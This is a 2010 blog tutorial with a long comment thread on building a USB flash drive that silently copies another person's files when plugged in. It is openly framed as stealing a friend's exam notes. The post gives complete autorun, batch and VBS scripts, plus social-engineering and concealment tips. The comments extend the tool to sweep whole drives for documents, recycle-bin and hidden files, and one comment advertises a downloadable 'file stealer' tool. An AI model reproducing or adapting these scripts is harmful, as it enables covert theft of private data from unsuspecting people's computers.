Tuesday, January 5, 2010

How to secretly copy (steal) files from a computer to a USB Flash drive

Let’s say you and your friend are preparing for an all important exam that is going to decide the course the rest of your life takes. Your friend has some important notes on his computer that he isn’t going to share with you. Your friend is a moron. You need the notes so badly that you are willing to steal from him. He deserves it anyway.

84474259

To get the notes you can either break into his house at night, an accomplice keeps you hanging by a rope from the roof while you deliberately copy the files to your flash drive taking care not to let your feet touch the floor. Or you can walk into his room one morning and say with a feigned smile, “Hey, buddy! I have some great new music. Want it?”. Then plug your USB Flash drive into his PC to automatically copy his notes to your pen drive, secretly and silently. Copy the songs you brought to his PC to complete the act.

Sneaky, isn't it? So let us prepare such a sinister USB Flash drive.

STEP 1

Open Notepad (I recommend Notepad++) and copy-paste the following lines.

[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat

Save this as autorun.inf

The icon line is optional. You can change the icon to your tastes or leave it to the default icon. It’s useful for social engineering purposes like enticing the user to click a file on the drive by making it looks like a game or something.

The “action=” command is optional too but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.

The “shell/open command” also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.

STEP 2

Open Notepad again and copy-paste the following lines

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off
cls

Save this as file.bat

This file is configured to copy the contents of the current users pictures, favorites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy.

The first file path "%USERPROFILE%\pictures" – is the target.
The second file path "%drive%\all\My pics" – is the destination.

STEP 3

Open Notepad once again and copy-paste the following line.

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Save this as invisible.vbs

This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.

STEP 4

Open Notepad one last time and copy-paste the following line.

wscript.exe \invisible.vbs file.bat

Save this as launch.bat

This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.

STEP 5

Copy all 4 files created in the above steps and put it on the root of the Flash drive, including the icon file if needed. Also create a folder named “all” where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2.

This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your victim. It works flawlessly.

Image credit: Getty Images

[via Instructables]

227 comments:

  1. It works on my computer.
    The only thing I have to check now is location of files on my friend's computer.

    ReplyDelete
  2. What if I am in Linux!!!

    ReplyDelete
  3. Can this be modified to execute a standalone program on the flash drive?

    ReplyDelete
  4. Only a moron would do this; a guy in one of our study groups tried the same type of thing. He failed the class, lost his scholarship, and all the money mommy and daddy were going to give him. Poor soul. Take notes--it's easier.

    ReplyDelete
  5. @Anonymous: This won't work in Linux.

    @Blazemore: I'm sure someone with programming skills can turn this into a program. Not me though.

    @MoabG: I do not condone stealing from friends. This is just an example. Sorry to hear about your friend, by the way.

    ReplyDelete
  6. Doesn't work in my, i get an error (/min)

    ReplyDelete
  7. help? Will this work with windows 7...To make sure...do I copy exact programs save it as indicated and then I just plug in and it saves automatically?

    ReplyDelete
  8. Yes, it work on Windows 7. I have tested it personally. Do exactly as described.

    ReplyDelete
  9. help, i have moron friend and he keeps his notes in a 5 gigb folder and it take a long time to copy them. how i can steal only pdf and word files?
    is there any command for it in the notepad?

    ReplyDelete
  10. @rohan: Add *.PDF and *.DOC to the source folder path. For example, if you friend keeps his files in D:\notes you should put these line in STEP2.

    %backupcmd% "D:\notes\*.pdf" "%drive%\all\notes"
    %backupcmd% "D:\notes\*.doc" "%drive%\all\notes"

    ReplyDelete
  11. Thank you for your help, your awesome! But for some strange reason its not working with windows 7?...I have one more question please. How can I get it to be in ultra stealth mode in which I do not need to click ok to run...In other words, do its copying job as soon as I plug in my usb silently?

    ReplyDelete
  12. Hi. Lets ssay I wanted to take only Pdf and word files as indicated above by roham: If I did not know what directory the person kept all the pdf and word documents, how would I just take all type of those files from the persons computer?

    ReplyDelete
  13. Thank you for your help.
    it perfectly work.

    ReplyDelete
  14. Hi. Very nice post! How can I copy an entire my documents folder without the click ok to run popping up? Also, how would I copy only pdf/word documents from entire computer? Would highly be appreciated :)

    ReplyDelete
  15. The USB drive program can't run without clicking on OK. It's a Windows feature.

    To copy all PDF/Word document on a drive, just specify the drive letter, such as

    "D:\*.pdf"

    ReplyDelete
  16. Thank you. I understood that part, but for the entire computer I would like to copy ALL the pdf and word documents it has using ONE command. And also how would I save an entire My Documents folder so that it can be my target and my destination. I tried this, but it did NOT work : %backupcmd% "%USERPROFILE%\My Documents" "%drive%\all\My Documents"

    ReplyDelete
  17. Thank you also. I understand now why you need to click ok. John's last post is very interesting as well. How would you do that: (JOHN: Copy an entire My documents folder using one command and saving all pdf and word files from entire PC using ONE command as well) ??

    ReplyDelete
  18. @John: Why do need to do that in ONE command? It's not possible in one command. You have to use separate command for each drive. There is no one command that will copy files from all drives.

    ReplyDelete
  19. O ok I thought it was possible. Sorry my friend I understand now. Thank you so so much. One more question if you do not mind Kaushik; Can I copy files straight from a pc's my computer destination? Or does your last post still apply?

    ReplyDelete
  20. Hi. Confused and new to this. Does it have to be directed to two folders?

    ReplyDelete
  21. and if i wanted to copy the usb once it's plugged to pc ???? also secretly

    ReplyDelete
  22. What command do you need if you want all the *.doc files from the drive C:?

    You might not know the name of the folders.

    ReplyDelete
  23. I can get the favorites but not the pictures or videos.

    What am I doing wrong?

    ReplyDelete
  24. and if i wanted to copy the usb once it's plugged to pc ???? also secretly

    I'm sure that can be done. I will have to look.

    What command do you need if you want all the *.doc files from the drive C:?

    You might not know the name of the folders.


    This has been answered.

    I can get the favorites but not the pictures or videos.

    I'm not sure why it's not working for you. Is there space on the USB drive? Are those folders too big?

    ReplyDelete
  25. My USB has space and i have about 4 pictures in the folder

    ReplyDelete
  26. Is there a way to exclude certain folders?

    ReplyDelete
  27. hey i did everything you said but it still didn't work...please help!

    ReplyDelete
  28. ooo very nice post body

    but i wanna do something els nd i need ur help if u cant tell me how :D

    U know like this i wanna put my usb flash in my friends PC then i want to connect my laptop to his PC
    so basically i want to go to his drive from my computer!
    Tnx alot

    ReplyDelete
  29. Hi I was able to work this out, but the cmd window always appear, I tried it windows xp and windows 7 and in both i see the cmd windows for a couple of seconds after pressing ok or double-click the usb drive from My Computer.

    What do you think I'm doing wrong?

    Thanks in advance.

    ReplyDelete
  30. i was wondering, is there such a program, or way to make a usb device able, to steal photos from a pc as well? by just plugging it into a friends pc, then it will search the photos and download them into the usb?

    ReplyDelete
  31. is there a way to put in a folder like c:\pictures\ and get everything from folders after that, that I may not know the name of?

    for example c:\pictures\112\

    ReplyDelete
  32. ok,

    how about you wanted to search a whole C drive apart from the windows folder?

    ReplyDelete
  33. Just put c:\pictures and it will copy all folders inside it. This program works recursively - if you put C:\ it will copy the whole C drive.

    These questions has already been answered. Please read the article AND comments before asking.

    Thanks.

    ReplyDelete
  34. alright, i am running vista ultimate. When I double click the bat file, it works. However, when I restart the computer with all 4 files on the usb, nothing happens and the computer boots up as usual. what am i doing wrong?

    ReplyDelete
  35. @Anonymous: I realize that this is meant to be run when the other computer is already logged in. Is there any way to make this work at boot up without entering the password?

    ReplyDelete
  36. No, that can't be done. The computer should be running, at least command prompt should be available.

    ReplyDelete
  37. Bagaimana jika kasusnya lain bos..... dari CD ke hardisk....

    ReplyDelete
  38. ok so this is what i want to be able to do can you give me an example of the code if possible...

    lets use c: as example

    So i want to copy all .jpg files on c: that are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever

    and actually even better if you could limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not.

    ReplyDelete
  39. also i am having an issue i have done everything exectly as described but my autorun.inf wont autostart and it wont do anything but open in notepad... im using windows 7

    ReplyDelete
  40. just to update nevermind its working perfectly this computer is just highly customized and i have all of the autorun and everything off it works great on my other winxp computer.... but is there a way to not have the command box come up and say " CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False " also one more question, i still havent figured out how the do the above part with the sizes but i am having an issues with the pdf files i its taking everything from program files that is pdf and i really dont need those its taking like the pdf install and help files from installed programs is there a way to block specific locations from being copied from or for things like pdf and documents and i going to have to specify folders to look in?

    ReplyDelete
  41. lol another question... so i want to add multiple drives to my script and i am having an issue where I put like the drive letters I want to scan and copy files from but when it tries to copy/scan on the drive litter that my thumbdrive is on it causes a problem and hangs. how do I get it to not scan the drive that its running on when its scanning for files? sorry so many questions but i have been playing with this thing all night and almost got it the way i want it other then these few things and I have been googleing all over to find out more info but not coming up with much.

    ReplyDelete
  42. below is my script i have right now, i was using the other scripts but i really have no point i just double click on file.bat and everything works and i actually want to see whats going on so i turned echo on. I want to have on the bottom part where D:\ begins i want to copy that and have all of the letters scanned except the letter that the thumbdrive is on. I have this on my 16gb sdhc sdcard using a usb adapter.

    @echo on
    :: variables
    SET odrive=%odrive:~0,2%
    set backupcmd=xcopy /s /c /d /e /h /i /r /y
    echo on
    %backupcmd% "%USERPROFILE%\Favorites" "%drive%\backup\favorites"
    %backupcmd% "%USERPROFILE%\Desktop\*.jpg" "%drive%\backup\img"
    %backupcmd% "%USERPROFILE%\Desktop\*.jpeg" "%drive%\backup\img"
    %backupcmd% "%USERPROFILE%\Desktop\*.bmp" "%drive%\backup\img"
    %backupcmd% "%USERPROFILE%\Desktop\*.3gp" "%drive%\backup\vid"
    %backupcmd% "%USERPROFILE%\Desktop\*.mp4" "%drive%\backup\vid"
    %backupcmd% "%USERPROFILE%\Desktop\*.avi" "%drive%\backup\vid"
    %backupcmd% "%USERPROFILE%\Desktop\*.wmv" "%drive%\backup\vid"
    %backupcmd% "%USERPROFILE%\Contacts" "%drive%\backup\contacts"
    %backupcmd% "%USERPROFILE%\Links" "%drive%\backup\links"
    %backupcmd% "%USERPROFILE%\My Documents\My Music" "%drive%\backup\mp3"
    %backupcmd% "%USERPROFILE%\My Documents\Downloads" "%drive%\backup\downloads"
    %backupcmd% "%USERPROFILE%\My Music" "%drive%\backup\mp3"
    %backupcmd% "%USERPROFILE%\My Documents\*.jpg" "%drive%\backup\img"
    %backupcmd% "%USERPROFILE%\My Documents\*.bmp" "%drive%\backup\img"
    %backupcmd% "%USERPROFILE%\My Documents\*.avi" "%drive%\backup\vid"
    %backupcmd% "%USERPROFILE%\My Documents\*.mpg" "%drive%\backup\vid"
    %backupcmd% "%USERPROFILE%\My Documents\*.3gp" "%drive%\backup\vid"
    %backupcmd% "%USERPROFILE%\My Documents\*.mp4" "%drive%\backup\vid"
    %backupcmd% "%USERPROFILE%\My Pictures" "%drive%\backup\img"
    %backupcmd% "%USERPROFILE%\Videos" "%drive%\backup\vid"
    %backupcmd% "%USERPROFILE%\Music" "%drive%\backup\mp3"
    %backupcmd% "%USERPROFILE%\Downloads" "%drive%\backup\downloads"
    %backupcmd% "D:\*.jpg" "%drive%\backup\img"
    %backupcmd% "D:\*.jpeg" "%drive%\backup\img"
    %backupcmd% "D:\*.bmp" "%drive%\backup\img"
    %backupcmd% "D:\*.3gp" "%drive%\backup\vid"
    %backupcmd% "D:\*.mp4" "%drive%\backup\vid"
    %backupcmd% "D:\*.avi" "%drive%\backup\vid"
    %backupcmd% "D:\*.wmv" "%drive%\backup\vid"
    @echo on
    cls

    ReplyDelete
  43. This is working like a charm on my Windows Vista. However, on my friends Windows 7, the box pops up when I insert the drive, however, there is no 'click to run' on it. Any way to fix this or copy the files in this case?

    ReplyDelete
  44. Hi, hopefully someone could help me.

    I modified the file to:

    %backupcmd% "C:\*.jpg" "%drive%\all\jpg"

    Instead of copying all images, I now have hundreds of empty folders on my USB Stick. Why? :)

    ReplyDelete
  45. Sorry: It copies jpg Files AND empty Folders...if there would be a single jpg in this folder, it would understand...

    ReplyDelete
  46. Hey, guys, do you know any way or a program or script or a modification to this one that would let you search the whole c: drive for specific types of files and copy them to the usb? You know, without knowing the localisation?

    ReplyDelete
  47. Hi at every one!It is possible to copy and hidden files?(when in the folder setting is checked tho show not the hidden files?Thank you!!

    ReplyDelete
  48. It doesn't autorun for me. I have to go into the drive and click on the file.

    ReplyDelete
  49. Hey Kaushik it works great!!! it's Perfect!!! One Question though if you want to copy files that are on the Recycle bin, what directory do you put?

    ReplyDelete
  50. The recycle bin directory is named "$Recycle bin". So put C:\$Recycle bin to copy the recycle bin on C drive, D:\$Recycle bin to copy that of D drive and so on.

    ReplyDelete
  51. would the command to check the entire C:/ drive be
    %backupcmd% "%C:\%*.jpeg" "%drive%\all\img" ?

    ReplyDelete
  52. thanks Kaushik for the Recycle bin directory.... i wanted to ask something else... I've used it on Vista home premium and it worked flawlessly... didn't need to press anything... I used it on xp and it didn't work at all... it said that /min is not recognized and nothing is being copied..
    I use this:
    @echo off
    :: variables
    /min
    SET odrive=%odrive:~0,2%
    set backupcmd=xcopy /s /c /d /e /h /i /r /y
    echo off
    %backupcmd% "%USERPROFILE%\Desktop\*.jpg" "%drive%\all\Photos"
    %backupcmd% "%USERPROFILE%\Documents\*.jpg" "%drive%\all\Photos 2"
    %backupcmd% "%USERPROFILE%\My Received Files\*.jpg" "%drive%\all\Photos 3"
    @echo off
    cls

    Can you tell me what to fix so it can be used on XP too?

    ReplyDelete
  53. HI KAushik, thanks for ur this Code! Bud i got the same problem! cant copy files from Xp OS! it gives me

    The procedure entry point CM_Get_DEvice_Interface_list_ExW could not be located in the dynamic link Library CFGMGR32.dll

    Im stuck in here! and so far no progress at all!!!
    really need ur help!

    ReplyDelete
  54. @madi: Can you run other cmd command like chkdsk? If not there is some problem with your Windows installation.

    To fix it, open cmd and type SFC / SCANNOW. You might need the Windows installation CD.

    @Anonymous: /min is an internal Windows command. If /min is not recognized then you too have problems with your Windows.

    ReplyDelete
  55. i saved it to my flashdrive but it wont work

    ReplyDelete
  56. It just wont work wine I need Help

    ReplyDelete
  57. OK it works fine on my windows xp other than the fact that when i click ok the black window pops up for half a second. Any wya to disable that? Coz that pretty much gives it away.

    ReplyDelete
  58. the invisiblity wont work and it only copys favorites I need help

    ReplyDelete
  59. The command prompt window might flash for a second, depending on the speed of the computer or how busy or idle it was at that time. I'm not sure if you can prevent that.

    But that's hardly a giveaway. At most your friend will think your pen drive is infected. Let him scan with an AV. But don't show him the files it contains. THAT would be a giveaway.

    ReplyDelete
  60. About the /min I was talking about... I used it on another computer with windows xp home edition and it was not recognized... I think also that that particular PC needed format cause it showed some problems... do you think that after format it would not show again that /min is not recognized? or is there any setting I must do to fix it? thanks again in advance...

    ReplyDelete
  61. Thanks for this post. Very useful. Under Win7Ultimate in my case, the variable %USERPROFILE% is C:\users\[MyUserName]. When I installed Win7Ultimate I created a D:\ partition and in it a folder My Documents and moved all the personal data folders to that My Documents. The original My Documents, My Pictures, My Desktop, My Email, My Music, etc. were all moved to that folder and are no longer under the %USERPROFILE% folder. How can I tune this files to make it work?

    ReplyDelete
  62. my auto run isnt working on win 7 everytime I click it it opens in note pad instead of launch

    ReplyDelete
  63. Is there a way to scan pictures like .jpeg and .jpg that are larger than 100kb so it only copies big ones?

    ReplyDelete
  64. Great script! Working fine for me.

    Just wondering what happens with disk space. If the usb drive fills up and theres no free space, what happens to the xcopy process? Is there a window that will open and say the drive is full or will it just stop copying once it gets full and nobody will know which is fine.

    ReplyDelete
  65. Is there any way to lunch it once the USB is plugged in ?

    It works with me but I have to press on the lunch.bat file,otherwise it dose not work ..!

    ReplyDelete
  66. Idk why this is but

    set backupcmd=xcopy /s /c /d /e /h /i /r /y
    /s does sub folders and doesnt show them if there empty so why have the /e because that does sub folders but keep every folder even if empty
    set backupcmd=xcopy /s /c /d /h /i /r /y
    is what i use

    ReplyDelete
  67. For me, the %drive% doesn't work. Are there any more shortcuts to the usbdrive?

    ReplyDelete
  68. My flash drive contains a default autorun....y also included the other one....but when i connect the flash drive, only the default one comes up...the other one that i created does no boot up automatically...what can i do?

    ReplyDelete
  69. for all win 7 users autorun is diabled by default
    so enable it by following steps-:

    2)check Use Autoplay for all devices and Click Save.
    1)Control Panel\Hardware and Sound\AutoPlay.

    and thanks kaushik for the update.

    ReplyDelete
  70. i have copied the 4 files to the usb root but when i open it and its not work plzzzzz help me

    ReplyDelete
  71. Is it possible to do the following with this whole set up:

    I have all of the steps 1-5 done and saved on a usb #1(usb1).

    I want to be able to have this copy files that are on another usb...say I have usb1 plugged into the computer, and I want it to get all .ppt and .pptx off of another usb drive #2(usb2) that WILL be inserted into the computer.

    Am I able to have it set up so the "copying process" just waits until usb2 is plugged into the computer?

    Also, am I able to have it so the command prompts just says something like "USB connected" (then all they have to do is click on "ok"? to have the copying process begin)

    One more question: with the copying process, is it possible to have it run in the background so that it isn't visible to the user on the computer?

    -friendlygiant

    ReplyDelete
  72. @friendlygiant: I haven't tried copying one USB drive to another so I have no idea how the xcopy command addresses two different USB drives. I can't answer your question for now. I have to try this out first.

    ReplyDelete
  73. @kaushik: Thanks for the reply. I understand this would be difficult. You obviously know a LOT more than I do! I'll stay tuned to this site for a bit to see if you can figure it out.

    ReplyDelete
  74. Is there any way to lunch once the the USB is plugged in..?


    It works but I have to press on the lunch.bat file otherwise , it won't work..!

    Thanks.

    ReplyDelete
  75. can u tell me how to do this on mac os....it's very very interesting...i like stealing some file so much...

    ReplyDelete
  76. Can i somehow make the computer copy other usb files onto the computer instead of the usb. For example, a friend plugs in usb into my computer, is there anyway the files can be copied from the usb onto the computer?
    Thanks in advance

    ReplyDelete
  77. @Anonymous.

    Why dont you just open their folder and copy them if you have physical access to the jump drive? This seems logical.

    -TheBraveOne

    ReplyDelete
  78. What about with the accents?

    (I'm on a spanish keyboard, so on the rute i should specify just one accent)

    any suggestion?


    nice post men, works fine for me, but i need to know about accent

    thanks!

    PD: sorry for my english

    ReplyDelete
  79. I found the solution!!!

    It's so simple, if somebody have a problem with characters, just go to execute and type

    "edit" (without quotes)

    and then, will be open a window, just open your batch file and rewrite the character, then save it, and voila!


    my regards

    ReplyDelete
  80. Anyone know of somewhere I can get something like this to plug into a cell phone?

    ReplyDelete
  81. Can we do something with that application work automatically? I want that program to run without double click, I want it to work automatically right when you connect it with a computer... Is that possible?

    ReplyDelete
  82. Just curious what kind of programming language this is. I want to further play with this.

    ReplyDelete
  83. with this Tool You can Steal Any file From Victim Computer by Connecting Your Infected Flash Memory on Victim Computer .
    In this Archive You have 3 File And 1 Folder.
    In files.txt You must Set Your File Format for Steal from Victim Computer
    In Paths.txt You can Choose The Path for Fast Searching , Or Spcial Folder Like d:\\myprivate-picture
    Prog Steal Your favorite File Format like .jpg in Ashiyane Folder.
    At Last Program will be Exit In Silent Mod Without Any response

    download The Tool
    http://xlpar.com/ncftqio0m23v/Ashiyane_File_stealer_v1.1_by_devil_v9.rar.html

    download Video Tutorial
    http://xlpar.com/zx83t96sh1l0/Ashiyane_File_Stealer_Toturial.rar.html

    password Of 2 Archive File: ashiyane.org

    ReplyDelete
  84. i dont understand why you cant just drag the files to the USB drive...

    ReplyDelete
  85. Thanks for this easy tutorial!

    I have a computer that has been in need of format for a long time and it has files scattered everywhere, this will help me recover those files with ease.

    I have the same request as joshrube82, can you specify file size so we don't copy all the system images?

    Also is there a way to see if the program is still running? it doesn't need to be "hidden", just some process on task man. or something?

    And one more thing, like has been asked before, if the flash drive fills up, does it stop automatically or does it crash?

    And for the people asking for the "program" to start automatically, think about it... if it starts automatically when you plug it in, when you connect it back to your computer it will start copying you own files too.. big mess.

    ReplyDelete
  86. I get the code error that says something like "Rectangle" is not recognized as an internal, external or .bat file. (you know that error). The Rectangle represents a character (which is a rectangle) in the quotes. I have tried this on two computers and I get the same error both times.

    ReplyDelete
  87. hello there, i want to ask you something, is there a way to make the opposite ? in other words,
    when someone plugs in his usb into a computer than it copies all the files of the usb (or specific types of files) into a selected folder you have on the computer HDD? without making an antivirus catch ur program? thanks in advance

    ReplyDelete
  88. Excuse me, this isnt working on windows 7. i have to click the launcher.bat file for it to work. please email me at Flash_Tock@yahoo.com with more information, as i need this to work very badly. i really need t get some things.

    ReplyDelete
  89. does this actually COPY the documents? or does it actually STEAL them? I did this but now I can't find those documents on my computer.

    ReplyDelete
  90. Can you activate the copying of the files by typing in a specific string of keys after connecting the USB? That would make it much more faster than opening My Computer and clicking the launch.

    ReplyDelete
  91. I saw that this was asked but did not see a reply? Is there a way to copy hidden files and or folders from the target PC to your USB drive?

    ReplyDelete
  92. It copies all files, hidden or otherwise. The switch /h controls this.

    ReplyDelete
  93. Does this work on Windows 7?
    And I want to copy C;/xampp/htdocs

    How do I do this?

    ReplyDelete
  94. does this need to be on a usb drive or could you use any other memory device like a sd memory card?

    ReplyDelete
  95. Is it possible to write a program that will automatically start the download when the USB is inserted, without permission?

    ReplyDelete
  96. Hi,

    I have this working fine, but I can't get it to autorun when i first plug in the device...

    Thisn isn't really a problem as I can just click launch.bat cause he still wont have a fuck whats going on...

    But it would be nice to allow it to run straight away..

    Any suggestions?

    Quick response would be appreciated as I only have 1 shot at this, and it is tomorrow!

    Thankyou.

    ReplyDelete
  97. Windows 7 does not autorun programs. So there is no way to make it do so.

    ReplyDelete
  98. It worked like a charm but, how to copy all *.jpg from C: ?

    ReplyDelete
  99. @ Anonymous over me.

    As Kaushik already said: The USB drive program can't run without clicking on OK. It's a Windows feature.

    To copy all PDF/Word document on a drive, just specify the drive letter, such as

    "D:\*.pdf"

    The same works for .jpg files. Just change the .pdf and D:\ so it matches your drive and filetype like: "D:\*.pdf"

    Please read the other posts before you post new questions!

    ReplyDelete
  100. thx 4 the info kaushik..well is there anyway 2 copy silently frm a USB flash drive 2 a computer??

    ReplyDelete
  101. it doesn't work any one help..!

    can you put it in zip file and uploade it

    i want it speific for powerpoint, word and pdf

    please help..!

    thanks

    ReplyDelete
  102. but wat to do if lets say i coded the batch to copy only .flv videos from C D & E drive but there is no E drive instead there is a F drive will i get an error and how to scan the entire my computer for .avi and batch files

    ReplyDelete
  103. You can also use USB Hidden Copier for this purpose..
    http://www.technize.com/usb-hidden-copier-v11-released/

    ReplyDelete
  104. helo i want to copy all the pdf and excel and word file please help me thank .i want all the code on all the drive

    ReplyDelete
  105. hi .. there is no run popping out,, the computer says open the program .. ? how?

    ReplyDelete
  106. I'm having problems getting the program to autorun. Clicking "file.bat" (I actually renamed it "target.bat but whatever. I made the appropriate edits) runs the program just fine. So I'm assuming there's a problem with my computer and that autorun.inf file.

    When I plug it into any computer either a dialog comes up asking what I want to do (Open folders in Windows Explorer, View pictures in Windows Media Player, No Action, etc.) OR it will just open the USB stick in windows explorer without asking. From there I can click target.bat, but I'd really like to know what's going wrong with the autorun. I already looked into my autorun settings (Vista 64-bit) and didn't find any problems there. Got any tips?

    ReplyDelete
  107. same problem as the guy above me

    ReplyDelete
  108. you CANT autorun on most new windows systems. There is only 1 way, and it takes a special device and lots of code. Just suffer and run the .bat file

    ReplyDelete
  109. What am I doing wrong?

    have windows vista ulitmate

    When I click the launch.bat always comes

    windows script host can not be carried too little memory

    please help

    ReplyDelete
  110. This is a problem with your Windows.
    Search a solution for "windows script error" on Google.

    ReplyDelete
  111. Windows Script Host. can not be executed. (Is not enough memory for this operation broker becomes

    Maybe my memory card has too little memory?

    The memory card must have exactly 8 GB free?

    ReplyDelete
  112. Hi.....!
    This is deep sharma........!
    And i wanna steal ms-word file from other computer...!
    Using internet.....!
    for educational purpose only.....!
    can u help me .....!
    plz.........!

    ReplyDelete
  113. hi there, is there anyway to make the file.bat check if the file on usb flash already exists and rename it if i am to copy a file with the sam name. eg i copy d:\pics from one pc then put my usb flash into another pc with a folder d:\ pics aswell, wat line of code can i insert to make it rename the new d:\pics to say d:\pics 2?
    perhaps some kind of if exist statement? with a for loop or something? thanks in advance

    ReplyDelete
  114. AFAIK, there is no DOS command that can check if the file exist and then rename it. XCOPY cannot do it.

    You might be able to do that using the Windows API, but I don't have any knowledge of that.

    Sorry.

    ReplyDelete
  115. i have a quick question. my friends are for the most part tec savy. so is there a comand line you could use to open up a game like mine sweaper. so this way... even if there in the room they still dont know what is going on. what would be the code and where would we put it?

    ReplyDelete
  116. hi iam gokul

    my doubt is will the files can be saved in a hidden manner so that i can copy a hidden folder in the pc to a hidden folder at usb . so tha even if my friend comes into my usb to see wats inside he might really not see wat is really running at the back side...

    do help

    ReplyDelete
  117. Can some one who have get these to work share the files?

    ReplyDelete
  118. hi.. at college, our teachers display the courses on the computers and projectors .. they use flash drives or cds to save the data. can i use this to copy the entire usb drive or the entire cd into my usb without anyone noticing that something is happening??

    ReplyDelete
  119. It will not work for me at all, the only way i can get any files (and even then its only favorites) is by clicking on the run file :/

    ReplyDelete
  120. where is the root flash driver which i must copy these files to it?

    ReplyDelete
  121. just paste them in your usb...no folders, Just the first window...

    ReplyDelete
  122. used C:\*.jpg Works fine! BUT,why all the empty folders? i just need the .jpg! Just the thumbs...
    Somebody?

    ReplyDelete
  123. Working very well. Anybody knowa, if the win was installed on other language, not on english, like german, or even russian, the original script like: %backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics" will work or have to change the target folder name/names to the actual other language, like picture to bilde or to russian with cyril caracters? would be good to get some info from it. thank you.

    ReplyDelete
  124. do the rest but put this code in file.bat
    @echo off
    :: variables
    SET odrive=%odrive:~0,2%
    set backupcmd=xcopy /s /c /d /e /h /i /r /y
    echo off
    :COPIER
    %backupcmd% "%userprofile%\My Documents\*.*" "%Rehab%\Copied_files\%computername%"
    MSG %username% "Scan Complete!"
    exit
    :ERROR
    exit
    it copies everything in documents

    ReplyDelete
  125. I want to copy only 1 specific file. I don't know what drive it is on. How do I do that?

    ReplyDelete
  126. invisible.vbs doesn't work for me. """" can't find this?

    ReplyDelete
  127. Everything works on my flash drive but the autorun.inf how do i make it work?

    ReplyDelete
  128. hi! its not working my usb. could you please help me?

    ReplyDelete
  129. if some one can help me i will relay thinks of hem

    ReplyDelete
  130. someone help me please its not working in my USB!!!!!!!!!!

    ReplyDelete
  131. when i try to copy the first step file it says i cant for some reason? why?

    ReplyDelete
  132. What if i wanted to copy files from another plugged USB, how should i write?

    ReplyDelete
  133. IS THERE SOME ONE HELP ME ????????????????????
    ITS NOT WORKING IN MY USB

    ReplyDelete
  134. hi kaushik. i want to get certain files in drive D: but only files that starts with the letter 'm'. any idea whats the script?
    thanks in advance.

    ReplyDelete
  135. Times have certainly changed for the worse. See I am an old lady also who remembers doing long division by hand. Acheiving competence in
    mathematics without the help of a Texas Instruments scientific calculator, Imagine that.
    Solving answers to complex equations in advanced calculus, physical chemistry, and physics The only help available back then was something they call a Brain. All this computer savy technology can never replace the great thinkers ! Cut- Copy- Hide-Edit-Remove annoy me.
    Stealing notes wow! What's next. Perhaps a Last Will and Testament. Good Work ! You should be ashamed of yourself Stealing notes..

    ReplyDelete
  136. Can i use copy con filename.bat
    copy drivename:/root folder name/*.file having extension i want to copy destination drive:/so on(copy c:/user/usernamers/desktop/filename h:7)

    ReplyDelete
  137. pls tell how to copy (steal) data from usb

    ReplyDelete
  138. Thanks for a very interesting article.

    I am curios, how can I copy files that are on different drives. Lets assume I am interested in PDF files, naturally all PC's have "C:" drive, but what if there are other drives I want to check? Naturally they could be any of "D:", "F:" or even "Z:" I won't know, so how can I do it?

    Is it possible to also limit it to files of a size greater than 60kb fir example?

    Please answer to mosports2000@yahoo.com....

    ReplyDelete
  139. This works fine for me but i use robocopy instead of xcopy.

    However!
    Is there a way to exclude the removable media from being silently copied?
    for now i copy C: D: E: F: G: but if one of those are the removable media i inserted the stick it selt gets copied too.
    Is there a way to exclude removable media?

    cheers

    ReplyDelete
  140. @Anonymous: Seems like robocopy is more powerful than xcopy. I have to see if some extra functions can be incorporated into the script using robocopy.

    ReplyDelete
  141. Can this all be ran in the background and sent via email or text, and send the info to a online storage site?

    ReplyDelete
  142. Hi Kaushik,

    thanks for the great information, this works perfectly.

    I am having a problem with copying files in foreign languages (ie not English). If the folder name is not in English basically the files in it are cot copied. Do do know how to fix this issue?

    Many thanks
    John

    ReplyDelete
  143. how can I do?
    I have no idea so Plz tell me in perticuler steps bro pplz.......

    ReplyDelete
  144. Tried out everything you discribed at top of this page, and it works just fine. I have to open my flashmemory in my computer, and then click on launch, then i black box appears 0,5 seconds, and then starts copying. Really great guide and many thanks! This got me intrested in programming so i will try to learn more!


    I have one question that has been asked, but not answered (i didn't see any answer): To cope other files you just type in the drive and the format of the file as discribed above, but how about if the file are hidden? Does it copy hidden files or do i have too put a different command for that?
    For example; i have a hidden file in c:/pictures/summerof69/hiddenfile.jpg

    If i put in the command that copy all .jpg files in C:, do i get the hidden file?

    ReplyDelete
  145. Sorry, found answer above on my previous asked question. It includes hidden files when following the goide on top of this page. Tanks again for a funny and useful guide!

    ReplyDelete
  146. xclent....thnax.....frnds....its perfect

    ReplyDelete
  147. my autorun.inf file doesnt work.
    the procedure works only if i directly double click on launch.bat file.
    when i double click on autorun.inf nothing happens.
    also do i need to run the autorun.inf whenever i insert a pen drive.
    also i need a procedure with which the file autorun.inf starts automatically on startup and copying is done.
    i dont want to start autorun.inf each time i insert a pen drive
    pls reply.

    ReplyDelete
  148. just say @thatoneguy so i know if your replying to me :)

